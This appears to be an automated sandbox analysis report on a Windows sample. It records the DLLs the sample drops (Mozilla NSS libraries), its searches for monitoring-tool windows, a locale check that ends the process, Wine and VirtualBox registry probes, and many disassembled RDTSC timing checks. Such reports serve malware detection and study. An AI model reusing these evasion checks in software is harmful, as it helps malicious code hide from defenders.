Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00889860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58219

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32E02 second address: C32E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32E06 second address: C32E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32E0C second address: C32E29 instructions: 0x00000000 rdtsc 0x00000002 je 00007F58CCE55454h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F58CCE5544Ch 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32E29 second address: C32E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32E2D second address: C32E3A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BDAE second address: C4BDCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCB8AE44h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BDCA second address: C4BDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C083 second address: C4C0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F58CCB8AE36h 0x0000000c jmp 00007F58CCB8AE41h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F58CCB8AE3Dh 0x00000019 jns 00007F58CCB8AE36h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C0B6 second address: C4C0C2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jg 00007F58CCE55446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C0C2 second address: C4C0DF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F58CCB8AE38h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F58CCB8AE41h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C23F second address: C4C243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C38A second address: C4C399 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F58CCB8AE36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C4DA second address: C4C4E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F58CCE55446h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C4E6 second address: C4C4EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C4EA second address: C4C4EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C4EE second address: C4C514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F58CCB8AE36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F58CCB8AE48h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C658 second address: C4C674 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F58CCE55446h 0x00000008 jmp 00007F58CCE55452h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EE89 second address: C4EE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EE8F second address: C4EE9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EE9C second address: C4EEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEA0 second address: C4EEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEA4 second address: C4EEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEAA second address: C4EEC0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F58CCE55448h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEC0 second address: C4EEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEC4 second address: C4EECE instructions: 0x00000000 rdtsc 0x00000002 js 00007F58CCE55446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EECE second address: C4EEDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEDE second address: C4EEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEE7 second address: C4EEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EEEB second address: C4EF93 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F58CCE55446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F58CCE55453h 0x00000014 pop eax 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F58CCE55448h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f sbb ecx, 3164DCC6h 0x00000035 push 00000003h 0x00000037 mov ch, 0Fh 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007F58CCE55448h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 mov cx, 2352h 0x00000059 jo 00007F58CCE5544Ch 0x0000005f or edi, 4F152605h 0x00000065 push 00000003h 0x00000067 call 00007F58CCE55450h 0x0000006c add ch, 00000013h 0x0000006f pop edx 0x00000070 push 674F4962h 0x00000075 pushad 0x00000076 jmp 00007F58CCE5544Ah 0x0000007b push eax 0x0000007c push edx 0x0000007d push edx 0x0000007e pop edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4EF93 second address: C4EFBA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F58CCB8AE36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 58B0B69Eh 0x00000012 mov edx, esi 0x00000014 lea ebx, dword ptr [ebp+12450D4Dh] 0x0000001a push eax 0x0000001b or dword ptr [ebp+122D238Fh], edi 0x00000021 pop ecx 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4F083 second address: C4F0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F58CCE55448h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jp 00007F58CCE5544Eh 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4F203 second address: C4F20D instructions: 0x00000000 rdtsc 0x00000002 js 00007F58CCB8AE3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4F36A second address: C4F36E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6CC7B second address: C6CC8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCB8AE3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6CF4D second address: C6CF75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCE5544Ah 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F58CCE55457h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6CF75 second address: C6CF81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F58CCB8AE36h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6CF81 second address: C6CF8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F58CCE55452h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6CF8F second address: C6CF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D3B1 second address: C6D3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D3B6 second address: C6D3EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F58CCB8AE36h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F58CCB8AE4Ah 0x00000016 jmp 00007F58CCB8AE44h 0x0000001b push ebx 0x0000001c push eax 0x0000001d pop eax 0x0000001e jne 00007F58CCB8AE36h 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D681 second address: C6D68B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F58CCE55446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D8E4 second address: C6D8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D8EC second address: C6D8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D8FC second address: C6D90B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F58CCB8AE36h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D90B second address: C6D918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F58CCE5544Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DA40 second address: C6DA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DCE5 second address: C6DCFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F58CCE55446h 0x0000000a je 00007F58CCE55446h 0x00000010 popad 0x00000011 js 00007F58CCE5544Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DE70 second address: C6DE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DE76 second address: C6DE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E55C second address: C6E560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E6AA second address: C6E6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F58CCE55446h 0x0000000a pop ecx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71BAC second address: C71BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71BB2 second address: C71BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71CD9 second address: C71CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71CDF second address: C71CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70D36 second address: C70D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76201 second address: C7620F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F58CCE55446h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7620F second address: C76215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76215 second address: C7622E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007F58CCE55446h 0x00000011 jl 00007F58CCE55446h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7622E second address: C7623D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F58CCB8AE36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7623D second address: C76241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76241 second address: C76263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F58CCB8AE48h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AD13 second address: C7AD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AD17 second address: C7AD50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCB8AE49h 0x00000007 jnp 00007F58CCB8AE36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F58CCB8AE36h 0x00000017 jmp 00007F58CCB8AE3Eh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AD50 second address: C7AD54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AD54 second address: C7AD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCB8AE43h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AD6D second address: C7AD79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F58CCE55446h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AD79 second address: C7AD8B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F58CCB8AE36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A14E second address: C7A152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A467 second address: C7A477 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F58CCB8AE36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A477 second address: C7A47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A47B second address: C7A4A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCB8AE3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 jl 00007F58CCB8AE36h 0x00000017 popad 0x00000018 pushad 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A5BD second address: C7A5C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A5C1 second address: C7A5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCB8AE3Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 jp 00007F58CCB8AE4Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A8AA second address: C7A8CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F58CCE55457h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A8CF second address: C7A8D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AA35 second address: C7AA3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7AA3B second address: C7AA41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B516 second address: C7B553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a je 00007F58CCBF74DDh 0x00000010 jmp 00007F58CCBF74D7h 0x00000015 pop eax 0x00000016 mov dword ptr [ebp+122D269Fh], esi 0x0000001c call 00007F58CCBF74C9h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B553 second address: C7B55D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F58CCE52576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B55D second address: C7B5BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBF74CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F58CCBF74CBh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 js 00007F58CCBF74D4h 0x00000019 pushad 0x0000001a jc 00007F58CCBF74C6h 0x00000020 jbe 00007F58CCBF74C6h 0x00000026 popad 0x00000027 mov eax, dword ptr [eax] 0x00000029 js 00007F58CCBF74E1h 0x0000002f pushad 0x00000030 js 00007F58CCBF74C6h 0x00000036 jmp 00007F58CCBF74D3h 0x0000003b popad 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B5BB second address: C7B5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B5C0 second address: C7B5C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C16B second address: C7C170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
